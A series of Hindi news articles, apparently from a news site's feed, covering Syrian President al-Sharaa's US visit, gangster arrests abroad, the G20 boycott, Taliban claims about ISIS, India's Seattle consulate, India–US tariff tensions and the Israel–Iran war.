सीरिया के राष्ट्रपति अहमद अल शरा अमेरिका के दौरे पर पहुंचे हैं। यह दौरा बेहद ऐतिहासिक है क्योंकि साल 1946 के बाद पहली बार कोई सीरियाई राष्ट्रपति अमेरिका के आधिकारिक दौरे पर वॉशिंगटन पहुंचे हैं। सीरियाई राष्ट्रपति का अमेरिका दौरा ऐसे समय हो रहा है, जब अमेरिका ने सीरियाई राष्ट्रपति अहमद अल शरा का नाम आतंकवादी सूची से एक दिन पहले ही हटाया है।

सोमवार को होगी ट्रंप से मुलाकात
सीरियाई राष्ट्रपति अहमद अल शरा वॉशिंगटन में सोमवार को अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप से मुलाकात करेंगे। इससे पहले जब मई में अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ने सऊदी अरब का दौरा किया था, उस वक्त सऊदी अरब के रियाद शहर में भी ट्रंप की अहमद अल शरा से मुलाकात हुई थी। सीरिया में अमेरिका के राजदूत टॉम बराक ने उम्मीद जताई कि अहमद अल शरा के इस अमेरिका दौरे पर सीरिया की सरकार, आतंकी संगठन इस्लामिक स्टेट के खिलाफ अमेरिका के नेतृत्व वाले गुट में शामिल होने के समझौते पर हस्ताक्षर कर सकती है।

शरा का नाम आतंकवादी सूची से हटा
मीडिया रिपोर्ट्स के अनुसार, अमेरिका, सीरियाई राजधानी दमिश्क के पास एक सैन्य अड्डा बनाने की योजना बना रहा है। इस सैन्य अड्डे का मकसद मानवीय सहायता के काम में समन्वय बताया जा रहा है। अमेरिका के विदेश विभाग ने पुष्टि की है कि अहमद अल शरा को आतंकवादी सूची से हटा दिया गया है क्योंकि शरा ने सीरिया में लापता अमेरिकियों का पता लगाने और बचे हुए रसायनिक हथियारों को खत्म करने की सहमति दी है। इससे पहले संयुक्त राष्ट्र सुरक्षा परिषद ने भी अहमद अल शरा पर लगे प्रतिबंधों को हटा लिया था, जिसके बाद शरा ने सितंबर में संयुक्त राष्ट्र महासभा को भी संबोधित किया। ऐसा करने वाले भी शरा पहले सीरियाई राष्ट्रपति हैं।

आतंकी संगठन अल कायदा से रहा है जुड़ाव
अहमद अल शरा के पूर्व के संगठन हयात तहरीर अल-शाम (HTS) का खूंखार आतंकी संगठन अल-कायदा से जुड़ाव था। यही वजह थी कि अमेरिका और संयुक्त राष्ट्र सुरक्षा परिषद ने शरा का नाम आतंकवादी सूची में डाला हुआ था। हालांकि बाद में शरा सक्रिय राजनीति में उतरे और बीते साल बशर अल असद के खिलाफ विद्रोह का नेतृत्व किया। सत्ता संभालने के बाद से, शरा और सीरिया के नए नेतृत्व ने खुद को अपने उग्रवादी अतीत से दूर कर सीरियाई लोगों और अंतरराष्ट्रीय समुदाय के सामने एक अधिक उदार छवि पेश करने की कोशिश की है।

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अमेरिका में भारत की बड़ी कार्रवाई: हरियाणा के दो मोस्ट वांटेड गैंगस्टर गिरफ्तार https://pratyushaashakinayikiran.com/?p=190228 Sun, 09 Nov 2025 08:05:00 +0000 https://pratyushaashakinayikiran.com/?p=190228 जॉर्जिया

सुरक्षा एजेंसियों और हरियाणा पुलिस को अंतर्राष्ट्रीय स्तर पर एक बड़ी सफलता मिली है। विदेशों में छिपे गैंगस्टरों के खिलाफ चलाए गए एक विशेष ऑपरेशन के तहत भारत के दो मोस्ट वांटेड अपराधी वेंकटेश गर्ग और भानु राणा को क्रमश: जॉर्जिया और अमेरिका में हिरासत में ले लिया गया है। ये दोनों गैंगस्टर हरियाणा और पंजाब में कई संगीन आपराधिक मामलों में वांछित थे।

जॉर्जिया में वेंकटेश गर्ग गिरफ्तार
कुख्यात गैंगस्टर वेंकटेश गर्ग को जॉर्जिया में हिरासत में लिया गया है। वह लंबे समय से विदेश भागकर अपने आपराधिक नेटवर्क को सक्रिय रखे हुए था। वेंकटेश गर्ग कुख्यात गैंगस्टर कपिल सांगवान उर्फ नंदू के गैंग से जुड़ा हुआ है। इसे भारत वापस लाने की प्रक्रिया अंतिम चरण में पहुंच चुकी है। उसे जल्द ही जॉर्जिया से प्रत्यर्पित (Extradited) किया जाएगा। इस प्रक्रिया को पूरा करने के लिए हरियाणा पुलिस अधीक्षक के नेतृत्व में एक विशेष टीम जॉर्जिया पहुंच चुकी है।

 अमेरिका में पकड़ा गया कुख्यात अपराधी भानु राणा
दूसरी तरफ हरियाणा का कुख्यात गैंगस्टर भानु राणा अमेरिका में हिरासत में लिया गया है। यह गिरफ्तारी भारत की ओर से दिए गए इनपुट और अंतर्राष्ट्रीय सहयोग का हिस्सा है। भानु राणा को भी जल्द ही अमेरिका से डिपोर्ट करके भारत भेजा जाएगा।

 लॉरेंस बिश्नोई गैंग कनेक्शन
पुलिस जांच में सामने आया है कि भानु राणा लॉरेंस बिश्नोई गैंग से जुड़ा हुआ है। उसका नेटवर्क हरियाणा, पंजाब और दिल्ली तक फैला हुआ है। पंजाब में हुए एक ग्रेनेड हमले की जांच में उसका नाम सामने आया था। जांच एजेंसियों के अनुसार अमेरिका में बैठे उसके कुछ संपर्क भी इस नेटवर्क से जुड़े थे। पुलिस पहले ही भानु राणा के कई साथियों को गिरफ्तार कर चुकी है और उसके खिलाफ कई मामलों में चार्जशीट भी दाखिल हो चुकी है। फिलहाल सुरक्षा एजेंसियों का कहना है कि विदेशों में छिपे गैंगस्टरों के खिलाफ यह अभियान लगातार जारी रहेगा।

 

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जी-20 सम्मेलन से अमेरिका का बहिष्कार, ट्रंप ने दक्षिण अफ्रीका पर जताया रोष https://pratyushaashakinayikiran.com/?p=190067 Sat, 08 Nov 2025 09:35:00 +0000 https://pratyushaashakinayikiran.com/?p=190067 वाशिंगटन

अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ने कहा है कि इस साल दक्षिण अफ्रीका में होने वाले जी-20 सम्मेलन में कोई भी अमेरिकी प्रतिनिधि हिस्सा नहीं लेगा। उन्होंने कहा है कि इस अफ्रीकी देश में श्वेत किसानों के साथ भेदभाव होता है। डोनाल्ड ट्रंप ने पहले ही कह दिया था कि वह जी-20 सम्मेलन में हिस्सा लेने नहीं जाएंगे। पहले बताया गया था कि उपराष्ट्रपति जेडी वेंस दक्षिण अफ्रीका जा सकते हैं।

ट्रंप ने ट्रुथ सोशल पर पोस्ट में कहा, यह बड़ा ही अपमानजनक है कि जी-20 सम्मेलन दक्षिण अफ्रीका में हो रहा है। ट्रंप ने बुधवार को मियामी में ‘अमेरिका बिजनेस फोरम’ में कहा, ‘‘मैं नहीं जा रहा हूं। दक्षिण अफ्रीका में जी-20 की बैठक है। दक्षिण अफ्रीका को जी-20 में ही नहीं होना चाहिए क्योंकि वहां जो हुआ है वह बहुत बुरा है। मैंने उन्हें बता दिया है कि मैं नहीं आ रहा हूं। मैं वहां अपने देश का प्रतिनिधित्व नहीं करने वाला…।’’

दक्षिण अफ्रीका ने एक दिसंबर 2024 को एक साल के लिए जी-20 की अध्यक्षता ग्रहण की थी और वह 22 और 23 नवंबर को जोहानिसबर्ग में समूह के नेताओं की शिखर बैठक की मेज़बानी करेगा। यह पहली बार है जब जी-20 शिखर सम्मेलन अफ्रीकी धरती पर आयोजित किया जाएगा। भारत दिसंबर 2022 से नवंबर 2023 तक जी-20 का अध्यक्ष था और उसने सितंबर 2023 में नई दिल्ली में 18वें जी-20 शिखर सम्मेलन की मेज़बानी की थी।

तत्कालीन अमेरिकी राष्ट्रपति जो बाइडन जी-20 शिखर सम्मेलन में भाग लेने के लिए भारत आए थे। जी-20 में अर्जेंटीना, ऑस्ट्रेलिया, ब्राज़ील, कनाडा, चीन, फ्रांस, जर्मनी, भारत, इंडोनेशिया, इटली, जापान, दक्षिण कोरिया, मेक्सिको, रूस, सऊदी अरब, दक्षिण अफ्रीका, तुर्किये, ब्रिटेन और अमेरिका के साथ-साथ यूरोपीय संघ और अफ्रीकी संघ शामिल हैं।

भारत की जी-20 अध्यक्षता के दौरान ही अफ्रीकी संघ आधिकारिक तौर पर दुनिया की प्रमुख अर्थव्यवस्थाओं के समूह में स्थायी सदस्य के रूप में शामिल हुआ था। न्यूयॉर्क सिटी के नवनिर्वाचित मेयर ‘‘कम्युनिस्ट’’ जोहरान ममदानी की आलोचना करते हुए ट्रंप ने कहा कि मियामी पीढ़ियों से दक्षिण अफ्रीका में कम्युनिस्ट अत्याचार से भागने वालों के लिए एक आश्रय स्थल रहा है। ट्रंप ने कहा, ‘‘मेरा मतलब है कि दक्षिण अमेरिका के अलग-अलग हिस्सों में क्या हो रहा है, इस पर एक नजर डालिए। दुनिया के अलग-अलग हिस्सों में क्या हो रहा है इस पर एक नजर डालिए।

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तालिबान का दावा: NATO और अमेरिका के दौर में पला ISIS, हमने आते ही किया ख़त्म https://pratyushaashakinayikiran.com/?p=185474 Tue, 14 Oct 2025 06:55:00 +0000 https://pratyushaashakinayikiran.com/?p=185474 तालिबान

अफगानिस्तान के विदेश मंत्री आमिर खान मुत्तकी ने दावा किया कि आतंकी संगठन ISIS को अफगान जमीन से पूरी तरह खत्म कर दिया गया है। उन्होंने कहा कि 2021 में तालिबान के सत्ता में आने के बाद इस्लामिक अमीरात ने पूरे देश में सुरक्षा और नियंत्रण स्थापित कर लिया है। नई दिल्ली में पत्रकारों से बातचीत में सोमवार को मुत्तकी ने कहा, 'जब अमेरिका और नाटो की मौजूदगी थी, तब विभिन्न प्रांतों में आईएसआईएस के बड़े केंद्र थे। उस समय भी हमें संघर्षों का सामना करना पड़ा। लेकिन इस्लामिक अमीरात ने पूरे देश पर नियंत्रण स्थापित करने के बाद मजबूत अभियान चलाया। शुक्र है कि अब अफगानिस्तान की एक इंच जमीन पर भी ISIS या कोई अन्य समूह सक्रिय नहीं है।'

आमिर खान मुत्तकी ने भारतीय उद्योग जगत को आश्वासन दिया कि तालिबान शासित देश में शांति स्थापित हो गई है। भारत के साथ आर्थिक संबंधों को बढ़ावा देने के लिए परिस्थितियां अनुकूल हैं। भारतीय उद्योग प्रतिनिधियों ने कहा कि वीजा एक गंभीर समस्या बनी हुई है और दोनों पक्षों के व्यापारियों की सुगम आवाजाही के लिए इस मुद्दे का तुरंत समाधान करने जरूरत है। फिक्की ने अफगान मंत्री के हवाले से बयान में कहा, ‘अफगानिस्तान के विदेश मंत्री ने भारतीय उद्योग जगत को आश्वासन दिया कि आवश्यक शांति स्थापित हो गई है और दोनों देशों के बीच आर्थिक संबंधों को बढ़ाने के लिए अनुकूल परिस्थितियां तैयार की गई हैं।’ उन्होंने कहा कि द्विपक्षीय व्यापार पहले ही एक अरब अमेरिकी डॉलर तक पहुंच चुका है।

अमृतसर और काबुल-कंधार के बीच जल्द सीधी उड़ानें
अफगान विदेश मंत्री मुत्तकी ने कहा कि अमृतसर और काबुल व कंधार के बीच जल्द ही सीधी उड़ानें शुरू होंगी। उन्होंने इसे व्यापार और लोगों के बीच संपर्क बढ़ाने की दिशा में एक कदम बताया। राज्यसभा सांसद और वाणिज्य पर संसदीय स्थायी समिति के सदस्य डॉ. विक्रमजीत सिंह साहनी ने इस कदम को ऐतिहासिक बताया। उन्होंने कहा कि नई उड़ानें भारत और अफगानिस्तान के बीच तेज और सुरक्षित हवाई पुल बनाएंगी। वहीं, आमिर खान मुत्तकी ने कहा कि भारत को चाबहार बंदरगाह पर प्रतिबंध हटाने के लिए अमेरिका के साथ बातचीत करनी चाहिए। वह रणनीतिक रूप से स्थित चाबहार बंदरगाह के अधिकतम इस्तेमाल के पक्ष में हैं। उन्होंने अमेरिका के साथ अपनी बैठकों में प्रतिबंध हटाने का मुद्दा भी उठाया है।

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सिएटल में खुला भारत का नया वाणिज्य दूतावास, अमेरिका में पीएम मोदी का वादा हुआ पूरा https://pratyushaashakinayikiran.com/?p=181098 Wed, 27 Aug 2025 14:36:00 +0000 https://pratyushaashakinayikiran.com/?p=181098 वाशिंगटन 
अमेरिका में भारत के राजदूत विनय क्वात्रा ने सिएटल में भारतीय महावाणिज्य दूतावास के नए कार्यालय का उद्घाटन किया। वाणिज्य दूतावास ने मंगलवार को बताया कि यह कार्यालय ऐतिहासिक ‘फेडरल रिजर्व बिल्डिंग' में 1015 सेकंड एवेन्यू पर स्थित है। इसमें बताया गया कि इमारत की पहली मंजिल पर सार्वजनिक सेवाओं के लिए वाणिज्य दूतावास अनुभाग है और 11वीं मंजिल पर प्रशासनिक एवं वाणिज्यिक शाखाएं हैं। इस इमारत में 1951 से 2008 के बीच सैन फ्रांसिस्को के फेडरल बैंक की सिएटल शाखा थी।

यह 2013 से अमेरिका के ऐतिहासिक स्थलों के राष्ट्रीय रजिस्टर में सूचीबद्ध है। मंगलवार को आयोजित कार्यक्रम में वाशिंगटन राज्य के गवर्नर बॉब फर्ग्यूसन, अमेरिकी सांसद मारिया कैंटवेल और सिएटल के मेयर ब्रूस हैरेल शामिल हुए। अमेरिका में छठे भारतीय वाणिज्य दूतावास की स्थापना की घोषणा प्रधानमंत्री नरेन्द्र मोदी ने जून 2023 में की थी। विज्ञप्ति में बताया गया कि इस मिशन ने नवंबर 2023 में एक अस्थायी स्थान से परिचालन शुरू किया था और जुलाई 2024 से नौ अमेरिकी राज्यों – वाशिंगटन, ओरेगन, अलास्का, इदाहो, मोंटाना, नॉर्थ डकोटा, साउथ डकोटा, व्योमिंग और नेब्रास्का में 23,722 प्रार्थियों को सेवाएं प्रदान की हैं।
 
कार्यालय के उद्घाटन के बाद राजदूत क्वात्रा ने भारतीय अमेरिकी समुदाय के सदस्यों, ग्रेटर सिएटल क्षेत्र में प्रौद्योगिकी जगत के वरिष्ठ नेताओं और वाशिंगटन राज्य के निर्वाचित अधिकारियों के साथ बातचीत की जिनमें सार्वजनिक पदों पर आसीन भारतीय मूल के नेता भी शामिल थे। सिएटल स्थित भारतीय मिशन की वेबसाइट के अनुसार, लगभग 44 लाख भारतीय अमेरिकी/भारतीय मूल के लोग अमेरिका में रहते हैं। भारतीय मूल के लोग (31.8 लाख) अमेरिका में तीसरा सबसे बड़ा एशियाई जातीय समूह हैं। भारतीय अमेरिकी सबसे सफल समुदायों में से एक हैं और राजनीति सहित विविध क्षेत्रों में उनका उत्कृष्ट योगदान है। अमेरिकी संसद में मार्च 2025 तक भारतीय मूल के छह व्यक्ति हैं।  

 

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रिपोर्ट: टैरिफ पर चर्चा के लिए ट्रंप ने 4 बार फोन किया, PM मोदी ने नहीं उठाया https://pratyushaashakinayikiran.com/?p=180910 Tue, 26 Aug 2025 16:36:00 +0000 https://pratyushaashakinayikiran.com/?p=180910 नई दिल्ली
भारत और अमेरिका के रिश्ते क्या बीते कुछ दशकों में सबसे निचले स्तर पर हैं? ऐसे कयास तेज हैं क्योंकि डोनाल्ड ट्रंप प्रशासन के ट्रेड टैरिफ का भारत ने भी सख्ती से जवाब दिया है। खबर है कि इस मामले पर बात करने के लिए डोनाल्ड ट्रंप ने पीएम नरेंद्र मोदी को 4 बार कॉल किया, लेकिन उन्होंने रिसीव ही नहीं किया। माना जा रहा है कि भारत सरकार अब इस मामले में अमेरिका के दबाव में आने की बजाय सख्ती से ही जवाब देने की नीति पर विचार कर रही है। इसी पॉलिसी के तहत भारत ने चीन, रूस और ब्राजील जैसे देशों के साथ मिलकर एक नया गठजोड़ खड़ा करने के प्रयास शुरू कर दिए हैं। शायद इसी नीति के तहत अब मोदी सरकार नहीं चाहती कि डोनाल्ड ट्रंप को ज्यादा महत्व दिया जाए।

जर्मन अखबार Frankfurter Allgemeine Zeitung ने अपनी एक विस्तृत रिपोर्ट में ऐसा दावा किया है। रिपोर्ट में कहा गया है कि ऐसा लगता है कि डोनाल्ड ट्रंप के रुख से परेशान भारत सरकार अब उनसे कोई आसान डील नहीं करना चाहती। अखबार के लिए हेंड्रिक अंकेनब्रांड, विनांड वॉन पीटर्सडॉर्फ, गुस्ताव थाइले ने लिखे अपने आर्टिकल में कहा कि यह भारत सरकार की बदली हुई नीति का प्रतीक है कि उसने उस चीन के साथ भी रिश्ते बेहतर करने शुरू किए हैं, जिससे 2020 में लद्दाख में सैन्य झड़प हुई थी और 20 भारतीय सैनिक शहीद हो गए थे।

अखबार में लिखा गया है, 'अब दोनों देशों के बीच संबंधों को परिभाषित करना मुश्किल है। फरवरी में ही अमेरिकी राष्ट्रपति ट्रंप ने मोदी को वाइट हाउस बुलाया था और उन्हें 'महान नेता' कहकर उनकी सराहना की थी। लेकिन जब फोटो खिंचवाने का वक्त आया तो मोदी मुस्कुराए नहीं। ट्रंप ने इस दौरान पीएम मोदी के साथ अपने रिश्तों की भी बात की, लेकिन मोदी ने इसे सिर्फ रणनीतिक तौर पर महत्वपूर्ण यात्रा करार दिया था। यह दर्शाता है कि भारतीय नेतृत्व अमेरिकी इरादों को लेकर सतर्क रहता है।'
यही नहीं अखबार का कहना है कि ट्रंप ने अमेरिका के लिए कृषि बाजारों को खोलने की मांग की, लेकिन मोदी ने इनकार कर दिया। इसके बजाय भारत ने रूस और ईरान से सस्ता तेल खरीदा। यहां तक कि भारत ने पश्चिमी प्रतिबंधों को भी नजरअंदाज कर दिया। अखबार लिखता है, ‘अमेरिका का मानना है कि चीन को अलग-थलग करने के लिए भारत को मजबूती से अपनी ओर खड़ा करना चाहिए। लेकिन भारत इससे सहमत नहीं है। भारत चाहता है कि अमेरिका के साथ दोस्ती पर बहुत भरोसा नहीं किया जा सकता। भारत का मानना है कि उसे चीन के साथ संबंध बिगाड़कर अमेरिका का मोहरा नहीं बनना चाहिए।’

गौरतलब है कि अमेरिका में होने वाले कुल निर्यात भारत की हिस्सेदारी 20 फीसदी के करीब है। खासकर कपड़े, गहने, दवाइयाँ और ऑटो पार्ट्स। लेकिन सीमा शुल्क की वजह से अब यह व्यापार घट सकता है। अर्थशास्त्रियों का अनुमान है कि भारत की विकास दर 6.5 प्रतिशत के बजाय सिर्फ़ 5.5 प्रतिशत रह जाएगी। कहा जा रहा है कि डोनाल्ड ट्रंप के अप्रत्याशित रुख को भारत सरकार ने अच्छे ढंग से नहीं लिया है। जून में ही एक सर्वे के अनुसार जर्मनी में 18% लोग ट्रंप पर भरोसा करते हैं, जबकि भारत में ट्रंप को सबसे कम भरोसेमंद राष्ट्रपति माना जाता है।

 

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ट्रंप के ईरान पर बदले-बदले बोल… अब इजरायल को चेताया, कहा- FORDOW को नहीं कर पाओगे नेस्तनाबूद https://pratyushaashakinayikiran.com/?p=165476 Sat, 21 Jun 2025 07:36:00 +0000 https://pratyushaashakinayikiran.com/?p=165476 तेल अवीव/ न्यूयॉर्क 

इजरायल और ईरान के बीच नौ दिनों से जंग बदस्तूर जारी है. दोनों ओर से एक-दूसरे पर हवाई हमले हो रहे हैं. शहर दर शहर तबाह हो रहे हैं. इजरायल का निशाना ईरान के न्यूक्लियर प्लांट हैं, जिन्हें तबाह करने के लिए उसने अमेरिका से मदद भी मांगी है लेकिन अब अमेरिकी राष्ट्रपति ने इसे लेकर बड़ा बयान दिया है.

ईरान के खिलाफ इजरायल का साथ देने के लिए अमेरिकी फौजों को भेजने की संभावना के बारे में पूछे जाने पर ट्रंप ने कहा कि ये आखिरी विकल्प होगा. अभी हमारे पास अधिकतम दो हफ्ते का समय है. 

उन्होंने कहा कि इजरायल के पास ईरान के अंडरग्राउंड फोर्डो (FORDOW) न्यूक्लियर प्लांट को अपने दम पर नेस्तनाबूद करने की क्षमता नहीं है. इजरायल के पास बहुत सीमित क्षमता है. वे फोर्दो का एक हिस्से को थोड़ा-बहुत ही नुकसान पहुंचा सकते हैं लेकिन इसे खत्म नहीं कर सकते.

न्यूयॉर्क टाइम्स की रिपोर्ट के मुताबिक, अमेरिका का दावा है कि ईरान के पास न्यूक्लियर बम बनाने की पूरी क्षमता है. व्हाइट हाउस की प्रेस सचिव कैरोलिन लेविट ने कहा कि ईरान के सुप्रीम लीडर के आदेश पर ईरान कुछ ही हफ्तों में न्यूक्लियर बम बना सकता है.

उन्होंने कहा कि तेहरान के पास न्यूक्लियर बम बनाने के लिए हर जरूरी सामान है. अगर ईरान परमाणु बम तैयार कर लेता है तो यह पूरी दुनिया के लिए खतरा होगा और इससे खतरा बढ़ेगा. 

बता दें कि इजरायल ने ईरान के न्यूक्लियर प्रतिष्ठानों को निशाना बनाकर 12 जून को धावा बोल दिया था. इस हमले को ऑपरेशन राइजिंग लॉयन के तहत अंजाम दिया गया. लेकिन इससे बौखलाए ईरान ने इजरायल की राजधानी तेल अवीव सहित उसके रिहायशी इलाकों पर अटैक करना शुरू कर दिया. इससे दोनों ओर लगातार हमले हो रहे हैं.

इस बीच ईरान ने भारत के लिए अपना एयरस्पेस खोल दिया है. जंग के बीच ईरान में फंसे भारतीयों को सकुशल भारत लाया जा रहा है. ऑपरेशन सिंधु के तहत ईरान में फंसे भारतीयों को स्वदेश लाया जा रहा है. शुक्रवार रात को 290 भारतीयों को भारत लाया गया. इससे पहले 19 जून को 110 भारतीयों को लाया गया था. इस ऑपरेशन के तहत सरकार अगले दो दिनों में लगभग एक हजार भारतीय नागरिकों को रेस्क्यू करेगी. 

फोर्डो न्यूक्लियर प्लांट का निर्माण असल में ईरान की इस्लामिक रिवोल्यूशनरी गार्ड कॉर्प्स (IRGC) की सैन्य इकाई के तौर पर किया गया था. यह ईरान के कौम शहर के उत्तरपूर्व में है और पहाड़ के कई फीट नीचे है, जो इसे हवाई हमलों से सुरक्षित बनाता है.

फोर्डो का मुख्य काम यूरेनियम संवर्धन (Uranium Enrichment) है, जिसका उपयोग परमाणु ऊर्जा के उत्पादन में किया जाता है. इससे परमाणु हथियार भी विकसित होते हैं. 

रिपोर्ट्स के मुताबिक, ईरान ने बेहद गुप्त तरीके से फोर्डा का निर्माण किया 2009 में अंतरराष्ट्रीय समुदाय को इसकी जानकारी तब मिली, जब पश्चिमी खुफिया एजेंसियों ने इसका खुलासा किया.

अमेरिका का दावा

न्यूयॉर्क टाइम्स की रिपोर्ट के मुताबिक, अमेरिका का दावा है कि ईरान के पास न्यूक्लियर बम बनाने की पूरी क्षमता है। व्हाइट हाउस की प्रेस सचिव कैरोलिन लेविट ने कहा कि ईरान के सुप्रीम लीडर के आदेश पर ईरान कुछ हफ्तों में न्यूक्लियर बम बना सकता है।

कैरोलिन ने कहा कि तेहरान के पास न्यूक्लियर बम बनाने के लिए जरूरी सामान है। अगर ईरान परमाणु बम तैयार कर लेता है तो यह पूरी दुनिया के लिए खतरा होगा और इससे खतरा बढ़ेगा।

ईरान ने भारत के लिए खोला अपना एअरस्पेस

बता दें, इजरायल ने ईरान के न्यूक्लियर प्रतिष्ठानों को निशाना बनाकर 12 जून को धावा बोला था। इस हमले को इजरायल ने ऑपरेशन राइजिंग लॉयन नाम दिया था। इसके जवाब में ईान ने तेल अवीव सहित कई शहरों में अटैक करना शुरू कर दिया था।

इसके बाद से दोनों ओर से लगातार हमले हो रहे हैं। इस बीच ईरान ने भारत के लिए अपना एअरस्पेस खोल दिया है। जंग के बीच ईरान में फंसे भारतीयों को सकुशल वापस लाया जा रहा है।

 

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